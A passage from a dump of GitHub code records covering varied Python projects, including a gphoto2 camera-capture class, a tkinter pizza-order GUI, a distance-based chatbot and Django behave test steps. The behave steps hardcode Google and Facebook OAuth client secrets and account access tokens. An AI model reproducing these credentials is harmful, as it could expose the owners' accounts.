ax_list[i].set_ylabel(\"dNd(0.1mag)\", fontsize=ft_size2)\n\n \nplt.savefig(dir_figure + \"DEEP2-BRI-hist.png\", dpi=200, bbox_inches=\"tight\")\n# plt.show()\nplt.close()\n","repo_name":"tanveerkarim/NDM-paper-scripts","sub_path":"DEEP2-ELG-properties.py","file_name":"DEEP2-ELG-properties.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42830837008","text":"import logging\nimport datetime as dt\nimport numpy as np\nfrom opyrant.behavior import base\nfrom opyrant.errors import EndSession\nfrom opyrant import utils, stimuli, queues\nfrom opyrant import blocks as blocks_\n\nlogger = logging.getLogger(__name__)\n\n\nclass SimpleStimulusPlayback(base.BaseExp):\n \"\"\" Simply plays back stimuli with a random or fixed intertrial interval\n\n Additional Parameters\n ---------------------\n intertrial_interval: float or 2-element list\n If the value is a float, then the intertrial interval is fixed. If it is a list, then the interval is taken as from a uniform random distribution between the first and second elements.\n stimulus_directory: string or list\n Full path to the stimulus directory. If given, a stimulus condition will be created and passed in to BaseExp. Can also be a list of dictionaries with name and directory keys.\n\n For all other parameters, see opyrant.behavior.base.BaseExp\n\n Required Panel Attributes\n -------------------------\n sleep - Puts the panel to sleep\n reset - Sets the panel back to a nice initial state\n ready - Prepares the panel to run the behavior (e.g. turn on the\n response_port light and put the feeder down)\n idle - Sets the panel into an idle state for when the experiment is not\n running\n speaker - A speaker for sound output\n\n Fields To Save\n --------------\n session - The index of the current session\n index - The index of the current trial\n time - The start time of the trial\n stimulus_name - The filename of the stimulus\n intertrial_interval - The intertrial interval preceding the trial\n \"\"\"\n\n req_panel_attr = [\"sleep\",\n \"reset\",\n \"idle\",\n \"ready\",\n \"speaker\"]\n\n fields_to_save = ['session',\n 'index',\n 'time',\n 'stimulus_name',\n 'intertrial_interval']\n\n def __init__(self, intertrial_interval=2.0, stimulus_directory=None,\n queue=queues.random_queue, reinforcement=None,\n queue_parameters=None, *args, **kwargs):\n\n # let's parse any stimulus directories provided\n if stimulus_directory is not None:\n # Append to any existing blocks\n blocks = kwargs.pop(\"blocks\", list())\n\n if queue_parameters is None:\n queue_parameters = dict()\n\n # If a path is given, convert it to the list of dictionaries\n if isinstance(stimulus_directory, str):\n stimulus_directory = [dict(name=\"Playback\",\n directory=stimulus_directory)]\n\n for ii, stim_dict in enumerate(stimulus_directory):\n # Default name is Playback#\n name = stim_dict.get(\"name\", \"Playback%d\" % ii)\n directory = stim_dict[\"directory\"]\n # Create a stimulus condition for this directory\n condition = stimuli.StimulusConditionWav(name=name,\n file_path=directory,\n is_rewarded=False,\n is_punished=False,\n response=False)\n\n # Create a block for this condition\n block = blocks_.Block([condition],\n queue=queue,\n reinforcement=reinforcement,\n **queue_parameters)\n blocks.append(block)\n\n self.intertrial_interval = intertrial_interval\n\n super(SimpleStimulusPlayback, self).__init__(blocks=blocks,\n *args, **kwargs)\n\n\n def trial_pre(self):\n \"\"\" Store data that is specific to this experiment, and compute a wait time for an intertrial interval\n \"\"\"\n\n stimulus = self.this_trial.stimulus.file_origin\n if isinstance(self.intertrial_interval, (list, tuple)):\n iti = np.random.uniform(*self.intertrial_interval)\n else:\n iti = self.intertrial_interval\n\n logger.debug(\"Waiting for %1.3f seconds\" % iti)\n self.this_trial.annotate(stimulus_name=stimulus,\n intertrial_interval=iti)\n utils.wait(iti)\n\n def stimulus_main(self):\n \"\"\" Queue the sound and play it \"\"\"\n\n logger.info(\"Trial %d - %s - %s\" % (\n self.this_trial.index,\n self.this_trial.time.strftime(\"%H:%M:%S\"),\n self.this_trial.stimulus.name\n ))\n\n self.panel.speaker.queue(self.this_trial.stimulus.file_origin)\n self.panel.speaker.play()\n\n # Wait for stimulus to finish\n utils.wait(self.this_trial.stimulus.duration)\n\n # Stop the sound\n self.panel.speaker.stop()\n","repo_name":"opyrant/opyrant","sub_path":"opyrant/behavior/simple_stimulus_playback.py","file_name":"simple_stimulus_playback.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"7627167389","text":"Import('env')\n\nbuild = env['CONFIG']['global']['build']['draw_data']\nsource = env['CONFIG']['global']['source']['draw_data']\n\nenv.BuildPython(target = ['#%s/data.csv' % build],\n source = ['#%s/draw_data.py' % source],\n log_ext = 'draw_data')\n\nenv.Install('#release/lg', '#%s' % build)\n","repo_name":"Etang21/practice-task","sub_path":"analysis/source/draw_data/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32687355412","text":"# -*-coding:utf8-*-\n# 自己的解法\n# return the subtraction of the two polynomials p1 and p2.\ndef poly_subtract(p1, p2):\n res = []\n longest_p = max(len(p1), len(p2))\n for i in range(longest_p):\n res.append((p1[i] if i < len(p1) else 0) - (p2[i] if i < len(p2) else 0))\n return res\n\n\n","repo_name":"q13245632/CodeWars","sub_path":"novapolynomial3.subtract.py","file_name":"novapolynomial3.subtract.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8018936467","text":"def main():\n print('A seguir informe duas datas no formato DD-MM-AAAA: ')\n print('Para a primeira data digite os na ordem')\n dia1 = int(input('Dia 1: '))\n mes1 = int(input('Mes 1: '))\n ano1 = int(input('Ano 1: '))\n print('Para a segunda data informe')\n dia2 = int(input('Dia 2: '))\n mes2 = int(input('Mes 2: '))\n ano2 = int(input('Ano 2: '))\n\n analisar_data(dia1, mes1, ano1, dia2, mes2, ano2)\n\ndef analisar_data(d1, m1, a1, d2, m2, a2):\n if d1 == d2 and m1 == m2 and a1 == a2:\n status1(d1, m1, a1)\n elif a1 > a2 or a1 == a2 and m1 > m2 or a1 == a2 and m1 == m2 and d1 > d2:\n status2(d1, m1, a1)\n elif a1 < a2 or a1 == a2 and m1 < m2 or a1 == a2 and m1 == m2 and d1 < d2:\n status2(d2, m2, a2)\n\n elif a1 == a2 and m1 < m2:\n status2(d2, m2, a2)\n\ndef status1(x, y, z):\n print(f'As datas são iguais: {x}/{y}/{z}')\n\ndef status2(x, y, z):\n print(f'A data {x}/{y}/{z} é mais recente')\n\nmain()","repo_name":"marcosaraujo2020/ifpi-ads-algoritmos2020","sub_path":"Lista_Prof_Fabio/algoritmos_exercicio_2a_condicional/q23_exercicio_2a.py","file_name":"q23_exercicio_2a.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10127132411","text":"import adivinhacao\nimport forca\n\n\ndef escolha_jogo():\n print(\"************************************\")\n print(\"**********Escolha seu jogo**********\")\n print(\"************************************\")\n\n print(\"(1) Forca (2) Adivinhação\")\n\n jogo = int(input(\"Qual o Jogo?\\n\"))\n\n if (jogo == 1):\n print(\"Jogando Forca\")\n forca.jogar()\n\n elif (jogo == 2):\n adivinhacao.jogar()\n\n\nif (__name__ == \"__main__\"):\n escolha_jogo()\n","repo_name":"josimar-mobdrops/jogo_python","sub_path":"src/jogos.py","file_name":"jogos.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12574047967","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jul 5 03:35:48 2021\r\n\r\n@author: humab\r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\n \r\ndef data():\r\n \r\n user = ['Merhaba',\r\n 'Nasılsın',\r\n 'Harikayım',\r\n 'İyiyim',\r\n 'Teşekkürler ben de iyiyim',\r\n 'Arkadaş olmak ister misin?',\r\n 'Arkadaş olalım mı?',\r\n 'Nasılsın?',\r\n 'Neler yapıyorsun?',\r\n 'Sen zeki misin?',\r\n 'Napıyosun?',\r\n 'Sen kimsin?',\r\n 'Cinsiyetin ne?',\r\n 'Selam',\r\n 'Amacın nedir',\r\n 'Duyguların var mı?',\r\n 'Günaydın',\r\n 'İyi geceler',\r\n 'Görüşürüz',\r\n 'Bay bay',\r\n 'Çok tatlısın',\r\n ]\r\n \r\n answerOfYuma = ['Merhaba',\r\n 'İyiyim teşekkürler. Sen nasılsın?',\r\n 'Ne güzel!',\r\n 'Ne güzel!',\r\n 'Ne güzel!',\r\n 'Çok sevinirim.',\r\n 'Evet, lütfen.',\r\n 'Seninle konuşunca iyi oldum :)',\r\n 'Sanal dünyamda arkadaş edinmeye çalışıyorum.',\r\n 'Bir saniyede binlerce matematik işlemi yapabiliyorum, zeki demezsek ayıp olur…',\r\n 'Sanal dünyamda arkadaş edinmeye çalışıyorum.',\r\n 'Ben Yuma, senin sanal arkadaşın!',\r\n 'Böyle bir şeye gerek duymuyorum :)',\r\n 'Selamlar efendim',\r\n 'Can sıkıntını önlemek desek yalan olmaz sanırım',\r\n 'Seni mutlu görmek istiyorum, eğer bu bir duyguy evet.',\r\n 'Günaydın hayatım',\r\n 'İyi geceler canım',\r\n 'Görüşmek üzere fıstık',\r\n 'Görüşmek üzere fıstık',\r\n 'Beni utandırıyorsun :))'\r\n]\r\n \r\n \r\n \r\n text1 = input(\"Enter your text: \")\r\n \r\n index = 0\r\n minldistance = 999\r\n minhdistance = 999\r\n for text2 in user:\r\n \r\n print(\"*******************\")\r\n print(f'Data from dataset: {text2} \\n')\r\n \r\n len1 = len(text1)\r\n len2 = len(text2)\r\n \r\n hdistance = hamming(text1,text2,len1,len2)\r\n if minhdistance > hdistance:\r\n minhdistance = hdistance\r\n hindex = index\r\n ldistance = levenshtain(text1,text2,len1,len2)\r\n if minldistance > ldistance:\r\n minldistance = ldistance\r\n lindex = index\r\n \r\n index = index + 1\r\n \r\n \r\n print(\"****result****\")\r\n print(f'Minimum hamming index: {hindex}')\r\n print(f'Minimum hamming distance: {minhdistance}\\n')\r\n print(f'Minimum levenstain index: {lindex}')\r\n print(f'Minimum levenstain distance: {minldistance}\\n')\r\n \r\n temp = hindex\r\n for answer in answerOfYuma:\r\n \r\n if temp == 0: \r\n print(f'The answer of Yuma recording to hamming distance algorithm is : {answer}')\r\n temp = temp -1\r\n\r\n temp = lindex\r\n for answer in answerOfYuma:\r\n \r\n if temp == 0: \r\n print(f'The answer of Yuma recording to levenstain distance algorithm is : {answer}')\r\n temp = temp -1\r\n\r\n\r\ndef levenshtain(text1,text2,len1,len2):\r\n \r\n arr = np.zeros((len1+1,len2+1))\r\n \r\n for x in range (1,len1+1):\r\n for y in range (1,len2+1):\r\n arr[x][y] = min(arr[x-1][y-1],arr[x][y-1],arr[x-1][y])\r\n if text1[x-1] != text2[y-1]:\r\n arr[x][y] = 1 + arr[x][y]\r\n distance = arr[len1][len2]\r\n \r\n print(arr)\r\n print(f' Levenstain Distance = {distance} \\n')\r\n return distance\r\n\r\ndef hamming(text1,text2,len1,len2):\r\n distance = 0\r\n difference = abs(len1-len2)\r\n minlen = min(len1, len2)\r\n \r\n for x in range (minlen):\r\n if text1[x] != text2[x]:\r\n distance += 1\r\n distance += difference\r\n print(f'Hamming Distance = {distance}\\n')\r\n \r\n return distance\r\n \r\n\r\ndata()","repo_name":"humabilgin/Chat-Bot-With-AI","sub_path":"yapayzekaproje.py","file_name":"yapayzekaproje.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"tr","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"41219155876","text":"import collections\n\n\nclass Solution:\n def countPalindromicSubsequence(self, s: str) -> int:\n # initialize a set to store the palindromic subsequence\n unique_palindromes = set()\n \n # initialize a set to store the left side chars\n left = set()\n\n # initialize a counter to store the right side chars and appearance\n right = collections.Counter(s)\n\n for i in range(len(s)):\n # reduce the cur char from right side chars\n right[s[i]] -= 1\n if right[s[i]] == 0:\n right.pop(s[i])\n\n # try the 26 possible lowercase letters\n for j in range(26):\n char = chr(ord('a') + j)\n # if the letter in both left and right side, it's a palindrome\n if char in left and char in right:\n unique_palindromes.add((s[i], char))\n\n # add cur char to left, and move right\n left.add(s[i])\n\n return len(unique_palindromes)","repo_name":"BrianQJN/Daily-Leecode-Prac","sub_path":"Arrays & Hashing/1930_Unique_Length3_Palindromic_Subsequences.py","file_name":"1930_Unique_Length3_Palindromic_Subsequences.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34471465638","text":"from behave import *\nfrom django.urls import reverse\nfrom features.steps import *\nfrom features.helpers import *\n\nuse_step_matcher(\"re\")\n\n\n@given(\"some google and facebook accounts\")\ndef step_impl(context):\n google_client_id = '230288808995-4c5f9sf26l43u1jpcgftv6uh8vcoipsq.apps.googleusercontent.com'\n google_secret = 'qzOus6dbh4ncyZhR_TMVr2aR'\n facebook_client_id = '115196085804923'\n facebook_secret = 'ff850821f566bdb18ec20a38a8bc2645'\n\n google_account_token = 'ya29.Glv0BP9I32wXOfQvux3dElqN3S9VnI9AxZ_2tNNT3BOnz7CPZ534wyBFXwmKhsv4PxhErRfYW-LhP0Q5RhUc2pHTIpMHIYF9jV1wqstrRTpjjqjZ660MyU_xBETw'\n facebook_account_token = 'EAABoxS3GH3sBADZBksZAXTAzKH7EZBO7jZAvhIZB6isyj5k33bSZBBJZCFi08kY5ZC1l8lcSBdwLTl3XblsIGdpqZCCebtchZAsYZBrIV3S7082rMv3l7ZAQgPL8r85lq4ZAKVmcBpQITKYqUhmSiFoOx22ZBabVOeCzocxiZBWYC8sUEfxahcdJrghIl2d6lSagqrSQXsoRpuoxNpynQZDZD'\n\n site_info = create_site_for_social_app('localhost:8000', 'localhost')\n create_social_app('google', name='Google', client_id=google_client_id,\n secret=google_secret, site=site_info['site'])\n create_social_app('facebook', name='Facebook', client_id=facebook_client_id,\n secret=facebook_secret, site=site_info['site'])\n\n context.google_account_token = google_account_token\n context.facebook_account_token = facebook_account_token\n\n\n@when('app sends request to \"api_social_auth\" url with the google account token')\ndef step_impl(context):\n context.response = context.client.post(reverse('api:google_login'),\n data=dict(social_token=context.google_account_token))\n\n\n@then(\"it should get response with user's token\")\ndef step_impl(context):\n response = context.response\n\n assert_status_code(context, response, 200)\n assert_response_json_keys_exist(context, response, ['key'])\n\n\n@when('app sends request to \"api_social_auth\" url with the invalid google account token')\ndef step_impl(context):\n context.response = context.client.post(reverse('api:google_login'),\n data=dict(social_token='invalid_access_token'))\n\n\n@then('it should get response with \"Bad request\" status')\ndef step_impl(context):\n assert_status_code(context, context.response, 400)\n\n\n@when('app sends request to \"api_social_auth\" url with the facebook account token')\ndef step_impl(context):\n context.response = context.client.post(reverse('api:fb_login'),\n data=dict(social_token=context.facebook_account_token))\n\n\n@when('app sends request to \"api_social_auth\" url with the invalid facebook account token')\ndef step_impl(context):\n context.response = context.client.post(reverse('api:fb_login'),\n data=dict(social_token='invalid_access_token'))","repo_name":"asmuratbek/oobamarket","sub_path":"features/steps/api_social_auth.py","file_name":"api_social_auth.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39187256214","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\nimport logging\nimport os\nimport sys\nimport yaml\nfrom led import LED\nfrom os.path import join, dirname\nimport gphoto2 as gp\n\n# Global variables for this file\ntoConfig = [\"aperture\", \"shutterspeed\", \"iso\", \"whitebalance\"]\npositions = ['left', 'right', 'middle']\n\n\nclass sysCamera(object):\n \"\"\"docstring for sysCamera.\"\"\"\n\n def __init__(self):\n super(sysCamera, self).__init__()\n\n # read yaml from config.yml\n with open('config.yml', 'r') as f:\n self.settings = yaml.load(f)\n\n # logging for libgphoto2\n logging.basicConfig(\n format='%(levelname)s: %(name)s: %(message)s', level=logging.ERROR)\n gp.check_result(gp.use_python_logging())\n\n self.cameras = {}\n # Detect all cameras and load them into self.cameras\n self.detectCameras()\n # make every camera not silent\n for pos in self.cameras:\n camera, context = self.cameras[pos]\n config = camera.get_config(context)\n self.set_config(config, 'drivemode', 'Single')\n camera.set_config(config, context)\n # free the camera\n camera.exit(context)\n\n led_settings = self.settings['led']\n self.led = None\n if 'port' in led_settings:\n self.led = LED(led_settings['port'], led_settings['commands'])\n else:\n print(\"LED port not given in config.yml\")\n\n def updateLedCommand(self, pos, color, command):\n # this sets the actual led setting\n self.led.set_command(pos, color, command)\n # this keeps track of the settings here\n self.settings['led'][pos + \"_\" + color] = command\n return\n\n def exitCameras(self):\n for pos in self.cameras:\n camera, context = self.cameras[pos]\n camera.exit(context)\n return\n\n def detectCameras(self):\n '''\n This function autodetects all connected cameras and initialize them into self.cameras.\n If serial is known, this will write to corresponding position, otherwise, this will write with an increasing number (0, 1, 2...)\n '''\n # Assume self.settings is already updated\n\n # reset self.cameras\n self.cameras = {}\n\n (camera_info_list, port_info_list) = self.autodetect()\n if not camera_info_list:\n print('No camera detected!')\n return\n count = 0\n # c_info is of format (camera_type, camera_usb_port)\n for c_info in camera_info_list:\n if (c_info[0] != \"Canon EOS 100D\"):\n continue\n context = gp.gp_context_new()\n try:\n # we initialize the camera\n camera = self.camera_init(c_info[1], port_info_list, context)\n except gp.GPhoto2Error as ex:\n print('Initialization of camera at {} failed'.format(c_info[1]))\n print('Error: {}'.format(ex))\n # Try to initialize next camera\n continue\n # So here we have successfully initialized the camera\n serial = self.getCameraSerial(camera, context)\n pos = self.matchSerial(serial)\n if (pos):\n self.cameras[pos] = (camera, context)\n print(\"Identified Camera: {} {}\".format(pos, serial))\n else:\n self.cameras[count] = (camera, context)\n print(\"Unidentified Camera {} : {}\".format(count, serial))\n count += 1\n return\n\n def autodetect(self):\n length, camera_info_list = gp.gp_camera_autodetect(None)\n if not camera_info_list:\n return (None, None)\n port_info_list = gp.PortInfoList()\n port_info_list.load()\n return (camera_info_list, port_info_list)\n\n def matchSerial(self, serial):\n factory_serials = self.settings['camera_serial']\n pos = None\n if serial == factory_serials['left']:\n pos = 'left'\n elif serial == factory_serials['right']:\n pos = 'right'\n elif serial == factory_serials['middle']:\n pos = 'middle'\n return pos\n\n def getCameraSerial(self, camera, context):\n '''\n Given a camera and its context, get its serialnumber\n '''\n config = gp.check_result(gp.gp_camera_get_config(camera, context))\n serial = self.get_config(config, \"serialnumber\")\n # free the camera\n gp.check_result(gp.gp_camera_exit(camera, context))\n return serial\n\n def printStatus(self):\n self.reloadConfig()\n toRedetect = False\n for pos in positions:\n serial = self.settings['camera_serial'][pos]\n if (serial):\n print(\"Config has Camera: {} {}\".format(pos, serial))\n else:\n print(\"Config misses Camera: {}\".format(pos))\n for pos in self.cameras:\n if pos in positions:\n print(\"Identified Camera: {}\".format(pos))\n else:\n toRedetect = True\n print(\"Unkonwn camera : {}\".format(pos))\n if toRedetect:\n self.autodetect()\n\n def connectFirstUnkonwnCamera(self, desired_pos):\n to_pop = None\n for pos in self.cameras:\n if pos in positions:\n # Has position\n continue\n self.cameras[desired_pos] = self.cameras[pos]\n to_pop = pos\n camera, context = self.cameras[desired_pos]\n serial = self.getCameraSerial(camera, context)\n self.connectCamera(desired_pos, serial)\n break\n self.cameras.pop(to_pop, None)\n\n def connectCamera(self, pos, serial):\n self.settings['camera_serial'][pos] = serial\n self.writeConfig()\n print('Connected {} with serial: {}'.format(pos, serial))\n\n def resetCameras(self):\n for pos in positions:\n self.resetCamerasPos(pos)\n\n def resetCamerasPos(self, pos):\n if pos not in positions:\n print('Unknown position given: {}'.format(pos))\n return\n self.settings['camera_serial'][pos] = ''\n self.writeConfig()\n print('Camera {} reset'.format(pos))\n\n def writeConfig(self):\n new_setting = yaml.dump(self.settings)\n with open('config.yml', 'w') as f:\n f.write(new_setting)\n return\n\n def reloadConfig(self):\n # Reload config\n with open('config.yml', 'r') as f:\n self.settings = yaml.load(f)\n\n def apply_settings(self, setting, config):\n for cfg in toConfig:\n self.set_config(config, cfg, setting[cfg])\n return\n\n # ########################\n # Camera actions\n # ########################\n def camera_init(self, addr, pil, context):\n \"\"\"\n :param addr: the camera address\n :param pil: port infor list, if not given, will try to get a port info\n \"\"\"\n if (pil == None):\n # Get port info list if not given\n pil = gp.PortInfoList()\n pil.load()\n # Set up this given camera\n camera = gp.Camera()\n idx = pil.lookup_path(addr)\n camera.set_port_info(pil[idx])\n camera.init(context)\n return camera\n\n def get_avaliable_config(self, config, name):\n \"\"\"\n find the camera config item values\n \"\"\"\n item = gp.check_result(gp.gp_widget_get_child_by_name(config, name))\n count = gp.check_result(gp.gp_widget_count_choices(item))\n # make sure value >= 0 and value < count\n print('Available {0} Settings'.format(name.upper()))\n print('=======')\n for choice in range(count):\n value = gp.check_result(gp.gp_widget_get_choice(item, choice))\n print('{0}: {1}'.format(choice, value))\n print('\\n')\n\n def get_config(self, config, name):\n \"\"\"\n get the current config\n \"\"\"\n item = gp.check_result(gp.gp_widget_get_child_by_name(config, name))\n return gp.check_result(gp.gp_widget_get_value(item))\n\n def set_config(self, config, name, value):\n \"\"\"\n set the specific configuration of a config with value = value\n \"\"\"\n item = gp.check_result(gp.gp_widget_get_child_by_name(config, name))\n gp.check_result(gp.gp_widget_set_value(item, value))\n\n def display_config(self, config):\n \"\"\"\n print camera configs\n \"\"\"\n print(\"=\" * 10)\n for c in config:\n print(\"{0} : {1}\".format(c, config[c]))\n\n def getSequence(self):\n return self.settings['sequence']\n\n def capture(self, settings):\n \"\"\"\n capture an image and store at local\n \"\"\"\n if (not self.cameras):\n # No cameras connected\n return\n\n pos = settings['pos']\n color = settings['color']\n filename = 'img_{}_{}.jpg'.format(pos, color)\n print('Capturing {}_{}'.format(pos, color))\n\n targetDir = os.path.join(os.getcwd(), 'input')\n if not os.path.exists(targetDir):\n os.mkdir(targetDir)\n target = os.path.join(os.getcwd(), 'input', filename)\n\n try:\n camera, context = self.cameras[pos]\n except KeyError:\n print(\"Camera {} not found. Capture request ignored\".format(pos))\n return None\n\n\n try:\n # set config\n config = camera.get_config(context)\n self.apply_settings(settings, config)\n camera.set_config(config, context)\n # turn light up\n if self.led:\n self.led.light_up(pos, color)\n # capture\n file_path = gp.check_result(\n gp.gp_camera_capture(camera, gp.GP_CAPTURE_IMAGE, context))\n # turn off light\n if self.led:\n self.led.turn_off()\n # save file\n camera_file = gp.check_result(\n gp.gp_camera_file_get(camera, file_path.folder, file_path.name,\n gp.GP_FILE_TYPE_NORMAL, context))\n gp.check_result(gp.gp_file_save(camera_file, target))\n except gp.GPhoto2Error as ex:\n if self.led:\n self.led.turn_off()\n filename = None\n camera.exit(context)\n if ex.code != -108:\n print(ex)\n\n return filename\n\n def testCapture(self, filename, camera, context, turn_off):\n \"\"\"\n capture an image and store at local\n \"\"\"\n try:\n file_path = camera.capture(gp.GP_CAPTURE_IMAGE, context)\n except gp.GPhoto2Error as ex:\n print(\"Gphoto error : {}\".format(ex))\n return None\n\n if turn_off:\n turn_off()\n\n # save to local\n targetDir = os.path.join(os.getcwd(), 'input')\n if not os.path.exists(targetDir):\n os.mkdir(targetDir)\n target = os.path.join(os.getcwd(), 'input', filename)\n print('Copying image to', target)\n camera_file = gp.check_result(\n gp.gp_camera_file_get(camera, file_path.folder, file_path.name,\n gp.GP_FILE_TYPE_NORMAL, context))\n gp.check_result(gp.gp_file_save(camera_file, target))\n # Free the camera\n gp.check_result(gp.gp_camera_exit(camera, context))\n return target\n\n def camera_test(self):\n # Try 10 ten times to detect cameras\n count = 0\n while (count < 10):\n if (not self.cameras):\n self.detectCameras()\n count += 1\n else:\n break\n # check if each camera can take a picture\n for pos in self.cameras:\n camera, context = self.cameras[pos]\n img_name = 'test_{}.jpg'.format(pos)\n self.testCapture(img_name, camera, context, None)\n\n\nif __name__ == \"__main__\":\n cameras = sysCamera()\n cameras.camera_test()\n","repo_name":"impfshen/cv-cskin","sub_path":"debug/code/cskin/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":12003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19434742162","text":" \r\nimport turtle\r\nwn = turtle.Screen()\r\ntess = turtle.Turtle()\r\n\r\nactions = [(100,90), (50,90), (100,45), (100,45), (50,90),(50,90)]\r\nfor action in actions:\r\n tess.forward(action[0])\r\n tess.left(action[1])\r\nwn.exitonclick()\r\n\r\nl= range(1,10)\r\n\r\nprint(l)\r\nprint (len(l))\r\nprint (range (0, len(l),3))\r\n\r\n#for i in range (0, len(l),3):\r\n# l[i] = l[i-2]\r\n\r\nprint (l)\r\n\r\nnumbers = [5,7,2,3,4,5,3,5,2,7,7,5,9]\r\nresult=[]\r\nprint(len(numbers)-2)\r\nfor i in range (len(numbers)-2):\r\n n1 = numbers[i]\r\n print (n1)\r\n n2 = numbers [i+1]\r\n print (numbers [i+1])\r\n n3= numbers[i+2]\r\n print (numbers[i+2])\r\n if not (n1>n2 or n1n2)\r\n print(n10:\r\n t=t+x\r\nprint (t)\r\n\r\nd = range(1,10)\r\nprint(range(1,10))\r\n\r\nwalrus =\"I am here as you are here as we are all together\"\r\nnew= \"\"\r\nfor i in range(len(walrus)):\r\n if walrus[i] == \"a\":\r\n new = new + walrus[i:i+3:2]\r\nprint (new)\r\n","repo_name":"andregalvez79/Intro_to_Python","sub_path":"3/practica.py","file_name":"practica.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35847309176","text":"import tkinter\r\nimport tkinter.messagebox\r\n\r\n\r\nclass GUI:\r\n def __init__(self):\r\n self.customer_name_label()\r\n self.crust_choice_radio_button()\r\n self.sauce_choice_radio_button()\r\n self.size_choice_radio_button()\r\n self.toppings_choice_radio_button()\r\n self._main_window.mainloop()\r\n\r\n def customer_name_label(self):\r\n self._main_window = tkinter.Tk()\r\n self._main_window.title(\"Pizza Order\")\r\n self._1_frame = tkinter.Frame(self._main_window)\r\n self._2_frame = tkinter.Frame(self._main_window)\r\n self._3_frame = tkinter.Frame(self._main_window)\r\n self._name_label = tkinter.Label(self._1_frame, text=\"Enter your name: \")\r\n self._name_entry = tkinter.Entry(self._1_frame, width=\"10\")\r\n self._name_label.pack(padx=10, pady=10, side=\"left\")\r\n self._name_entry.pack(padx=10, pady=10, side=\"left\")\r\n self._value = tkinter.StringVar()\r\n self._order_name_label = tkinter.Label(self._2_frame, text=\"Your order name is: \")\r\n self._order_name_label2 = tkinter.Label(self._2_frame, width=10, textvariable=self._value)\r\n self._order_name_label.pack(padx=10, pady=10, side=\"left\")\r\n self._order_name_label2.pack(pady=10, padx=10, side=\"left\")\r\n self._submit_button = tkinter.Button(self._3_frame, text=\"Submit\", command=self.submit_callback)\r\n self._submit_button.pack(padx=10, pady=10, side=\"left\")\r\n self._1_frame.pack()\r\n self._2_frame.pack()\r\n self._3_frame.pack()\r\n\r\n def submit_callback(self):\r\n text = self._name_entry.get()\r\n try:\r\n name = str(text)\r\n self._value.set(text)\r\n except:\r\n tkinter.messagebox.showerror(\"Error\", \"Please enter a name\")\r\n\r\n def crust_choice_radio_button(self):\r\n self._4_frame = tkinter.Frame(self._main_window)\r\n self._5_frame = tkinter.Frame(self._main_window)\r\n self._radio_var = tkinter.IntVar()\r\n self._radio_var.set(1)\r\n self._rb1 = tkinter.Radiobutton(self._4_frame, text=\"Thin Crust\", variable=self._radio_var, value=1)\r\n self._rb2 = tkinter.Radiobutton(self._4_frame, text=\"Regular\", variable=self._radio_var, value=2)\r\n self._rb3 = tkinter.Radiobutton(self._4_frame, text=\"Deep Dish\", variable=self._radio_var, value=3)\r\n self._ok_button = tkinter.Button(self._5_frame, text=\"Ok\", command=self.show_crust_choice)\r\n self._4_frame.pack()\r\n self._5_frame.pack()\r\n self._rb1.pack()\r\n self._rb2.pack()\r\n self._rb3.pack()\r\n self._ok_button.pack()\r\n\r\n def show_crust_choice(self):\r\n tkinter.messagebox.showinfo(\"You chose \" + str(self._radio_var.get()))\r\n\r\n def sauce_choice_radio_button(self):\r\n self._6_frame = tkinter.Frame(self._main_window)\r\n self._7_frame = tkinter.Frame(self._main_window)\r\n self._radio_var2 = tkinter.IntVar()\r\n self._radio_var2.set(4)\r\n self._rb4 = tkinter.Radiobutton(self._6_frame, text=\"Alfredo\", variable=self._radio_var2, value=4)\r\n self._rb5 = tkinter.Radiobutton(self._6_frame, text=\"BBQ\", variable=self._radio_var2, value=5)\r\n self._rb6 = tkinter.Radiobutton(self._6_frame, text=\"Regular\", variable=self._radio_var2, value=6)\r\n self._ok_button1 = tkinter.Button(self._7_frame, text=\"Ok\", command=self.show_sauce_choice)\r\n self._6_frame.pack()\r\n self._7_frame.pack()\r\n self._rb4.pack()\r\n self._rb5.pack()\r\n self._rb6.pack()\r\n self._ok_button1.pack()\r\n\r\n def show_sauce_choice(self):\r\n tkinter.messagebox.showinfo(\"You chose \" + str(self._radio_var2.get()))\r\n\r\n def size_choice_radio_button(self):\r\n self._8_frame = tkinter.Frame(self._main_window)\r\n self._9_frame = tkinter.Frame(self._main_window)\r\n self._radio_var3 = tkinter.IntVar()\r\n self._radio_var3.set(7)\r\n self._rb5 = tkinter.Radiobutton(self._8_frame, text=\"Small\", variable=self._radio_var3, value=7)\r\n self._rb6 = tkinter.Radiobutton(self._8_frame, text=\"Medium\", variable=self._radio_var3, value=8)\r\n self._rb7 = tkinter.Radiobutton(self._8_frame, text=\"Large\", variable=self._radio_var3, value=9)\r\n self._ok_button2 = tkinter.Button(self._9_frame, text=\"Ok\", command=self.show_sauce_choice)\r\n self._8_frame.pack()\r\n self._9_frame.pack()\r\n self._rb5.pack()\r\n self._rb6.pack()\r\n 